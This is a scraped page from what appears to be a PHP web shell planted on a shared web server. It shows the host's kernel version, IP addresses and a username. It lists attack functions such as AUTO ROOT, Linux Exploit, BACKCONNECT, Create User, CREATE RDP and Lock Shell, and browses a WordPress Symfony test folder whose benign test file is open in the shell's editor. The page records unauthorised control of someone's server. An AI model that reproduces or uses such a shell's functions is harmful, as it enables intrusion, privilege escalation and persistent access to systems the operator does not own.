Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
translation /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Catalogue
[ DIR ]
drwxr-xr-x
DataCollector
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Extractor
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Writer
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
DataCollectorTranslatorTest.ph...
3.18
KB
-rw-r--r--
IdentityTranslatorTest.php
3.41
KB
-rw-r--r--
IntervalTest.php
1.15
KB
-rw-r--r--
LoggingTranslatorTest.php
1.7
KB
-rw-r--r--
MessageCatalogueTest.php
8.37
KB
-rw-r--r--
MessageSelectorTest.php
7.65
KB
-rw-r--r--
PluralizationRulesTest.php
3.84
KB
-rw-r--r--
TranslatorCacheTest.php
11.13
KB
-rw-r--r--
TranslatorTest.php
20.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LoggingTranslatorTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Translation\Loader\ArrayLoader; use Symfony\Component\Translation\LoggingTranslator; use Symfony\Component\Translation\Translator; class LoggingTranslatorTest extends TestCase { public function testTransWithNoTranslationIsLogged() { $logger = $this->getMockBuilder('Psr\Log\LoggerInterface')->getMock(); $logger->expects($this->exactly(2)) ->method('warning') ->with('Translation not found.') ; $translator = new Translator('ar'); $loggableTranslator = new LoggingTranslator($translator, $logger); $loggableTranslator->transChoice('some_message2', 10, ['%count%' => 10]); $loggableTranslator->trans('bar'); } public function testTransChoiceFallbackIsLogged() { $logger = $this->getMockBuilder('Psr\Log\LoggerInterface')->getMock(); $logger->expects($this->once()) ->method('debug') ->with('Translation use fallback catalogue.') ; $translator = new Translator('ar'); $translator->setFallbackLocales(['en']); $translator->addLoader('array', new ArrayLoader()); $translator->addResource('array', ['some_message2' => 'one thing|%count% things'], 'en'); $loggableTranslator = new LoggingTranslator($translator, $logger); $loggableTranslator->transChoice('some_message2', 10, ['%count%' => 10]); } }
Close